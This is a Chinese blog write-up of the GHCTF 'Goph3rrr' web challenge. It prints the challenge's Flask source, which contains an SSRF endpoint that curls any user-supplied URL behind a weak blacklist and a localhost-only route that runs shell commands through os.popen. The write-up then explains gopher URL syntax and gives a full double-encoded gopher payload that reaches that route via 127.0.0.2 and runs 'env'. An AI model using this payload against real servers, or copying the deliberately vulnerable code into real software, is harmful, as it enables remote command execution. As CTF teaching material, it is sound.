当前位置: 首页 > news >正文

ctf-web: Gopher伪协议利用 -- GHCTF Goph3rrr

step 1 目录泄露

/app.py

step 2 分析代码

整理得到

from flask import Flask, request, send_file, render_template_string  
import os  
from urllib.parse import urlparse, urlunparse  
import subprocess  
import socket  
import hashlib  
import base64  
import random  
  
app = Flask(__name__)  
BlackList = [  
    "127.0.0.1"  
]  
  
@app.route('/Login', methods=['GET', 'POST'])  
def login():  
    junk_code()  
    if request.method == 'POST':  
        username = request.form.get('username')  
        password = request.form.get('password')  
        if username in users and users[username]['password'] == hashlib.md5(password.encode()).hexdigest():  
            return b64e(f"Welcome back, {username}!")  
        return b64e("Invalid credentials!")  
    return render_template_string("""  
        <!DOCTYPE html>        <html lang="en">        <head>            <meta charset="UTF-8">            <meta name="viewport" content="width=device-width, initial-scale=1.0">            <title>Login</title>            <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">            <style>                body {                    background-color: #f8f9fa;                }                .container {                    max-width: 400px;                    margin-top: 100px;                }                .card {                    border: none;                    border-radius: 10px;                    box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);                }                .card-header {                    background-color: #007bff;                    color: white;                    text-align: center;                    border-radius: 10px 10px 0 0;                }                .btn-primary {                    background-color: #007bff;                    border: none;                }                .btn-primary:hover {                    background-color: #0056b3;                }            </style>        </head>        <body>            <div class="container">                <div class="card">                    <div class="card-header">                        <h3>Login</h3>                    </div>                    <div class="card-body">                        <form method="POST">                            <div class="mb-3">                                <label for="username" class="form-label">Username</label>                                <input type="text" class="form-control" id="username" name="username" required>                            </div>                            <div class="mb-3">                                <label for="password" class="form-label">Password</label>                                <input type="password" class="form-control" id="password" name="password" required>                            </div>                            <button type="submit" class="btn btn-primary w-100">Login</button>                        </form>                    </div>                </div>            </div>        </body>        </html>    """)  
  
@app.route('/Gopher')  
def visit():  
    url = request.args.get('url')  
    if url is None:  
        return "No url provided :)"  
    url = urlparse(url)  
    realIpAddress = socket.gethostbyname(url.hostname)  
    if url.scheme == "file" or realIpAddress in BlackList:  
        return "No (≧∇≦)"  
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)  
    return result.stdout  
  
@app.route('/RRegister', methods=['GET', 'POST'])  
def register():  
    junk_code()  
    if request.method == 'POST':  
        username = request.form.get('username')  
        password = request.form.get('password')  
        if username in users:  
            return b64e("Username already exists!")  
        users[username] = {'password': hashlib.md5(password.encode()).hexdigest()}  
        return b64e("Registration successful!")  
    return render_template_string(""" xxx """)  
  
@app.route('/Manage', methods=['POST'])  
def cmd():  
    if request.remote_addr != "127.0.0.1":  
        return "Forbidden!!!"  
    if request.method == "GET":  
        return "Allowed!!!"  
    if request.method == "POST":  
        return os.popen(request.form.get("cmd")).read()  
  
@app.route('/Upload', methods=['GET', 'POST'])  
def upload_avatar():  
    junk_code()  
    if request.method == 'POST':  
        username = request.form.get('username')  
        if username not in users:  
            return b64e("User not found!")  
        file = request.files.get('avatar')  
        if file:  
            file.save(os.path.join(avatar_dir, f"{username}.png"))  
            return b64e("Avatar uploaded successfully!")  
        return b64e("No file uploaded!")  
    return render_template_string("""  xxx """)  
  
  
@app.route('/app.py')  
def download_source():  
    return send_file(__file__, as_attachment=True)  
  
if __name__ == '__main__':  
    app.run(host='0.0.0.0', port=8000)

命令执行路由必须由本地访问

@app.route('/Manage', methods=['POST'])  
def cmd():  
    if request.remote_addr != "127.0.0.1":  
        return "Forbidden!!!"  
    if request.method == "GET":  
        return "Allowed!!!"  
    if request.method == "POST":  
        return os.popen(request.form.get("cmd")).read()  

我们需要利用SSRF,请求/Manage路由,但是http://协议并不能携带POST参数,我们需要构造gopher请求

step 3 构造gopher请求

什么是Gopher协议?

Gopher是一种面向文档的分布式信息检索协议,诞生于1991年,比万维网(WWW)出现还早。它曾经用于在互联网中以层级目录的形式组织和访问文档。Gopher协议的URL以gopher://开头,使用简单的请求-响应模式。然而,由于HTTP协议的兴起,Gopher协议逐渐被淘汰。

Gopher协议基本格式

Gopher URL的标准结构如下:

gopher://<host>:<port>/<gopher-path>
  • <host>: 目标服务器IP或域名
  • <port>: 目标服务端口(默认70)
  • <gopher-path>: 协议路径(包含请求数据编码)

关键语法规则

1. 请求数据编码

Gopher协议的 <gopher-path> 部分会被 原样转换为原始TCP数据流 发送给目标服务器,需按以下规则编写:

  • 换行符:必须使用 \r\n(即URL编码为%0D%0A
  • 特殊字符:需进行URL编码(如空格→%20,问号→%3F
  • 首字符:第一个字符表示资源类型(可忽略,通常用_1占位)
2. 数据流格式

构造的Gopher请求本质是发送原始TCP数据流。

_POST /Manage HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:7

cmd=env

因为接受参数的时候就会解一次,编码一次到gopher://调用的时候就不是编码的了,所以必须url编码两次

_POST%2520/Manage%2520HTTP/1.1%250D%250Ahost:127.0.0.1%250D%250AContent-Type:application/x-www-form-urlencoded%250D%250AContent-Length:7%250D%250A%250D%250Acmd=env

加上gopher://127.0.0.2:8000/

gopher://127.0.0.2:8000/_POST%2520/Manage%2520HTTP/1.1%250D%250Ahost:127.0.0.1%250D%250AContent-Type:application/x-www-form-urlencoded%250D%250AContent-Length:7%250D%250A%250D%250Acmd=env

相关文章:

  • python---pickle库
  • 关于sqlalchemy的ORM的使用
  • 物联网商业模式
  • Java算术运算符与算术表达式
  • 第一章:大模型的起源与发展
  • 二、重学C++—C语言核心
  • JavaWeb——Mybatis、JDBC、数据库连接池、lombok
  • 【Linux系统编程】操作文件和目录的函数
  • 03_NLP常用的文本数据分析处理方法
  • elasticsearch 8.17.3部署文档
  • 『VUE』vue 引入Font Awesome图标库(详细图文注释)
  • 二、docker 存储
  • 文件系统调用(下) ─── linux第18课
  • 【redis】string应用场景:缓存功能和计数功能
  • UVa12303 Composite Transformations
  • c#客户端请求 Server-Sent Events
  • 音视频开发面试准备
  • Python组合数据类型(二)
  • Python字典,集合
  • Linux 网络:skb 数据管理
  • 上海市政府党组会议传达学习习近平总书记重要讲话精神,部署抓好学习贯彻落实
  • 以色列计划“占领加沙”,特朗普下周中东行结束之际将是“机会窗口”
  • 茹诗瑶评《失去伊斯坦布尔》︱“帝国主义者”的多重面相
  • 多省份晒出“五一”旅游“成绩单”:北京游客接待量、旅游消费创历史新高
  • 巴菲特执掌60年,伯克希尔市值如何增长5.5万倍?详解五大经典投资案例
  • 苏迪曼杯八强战,中国队横扫马来西亚队晋级四强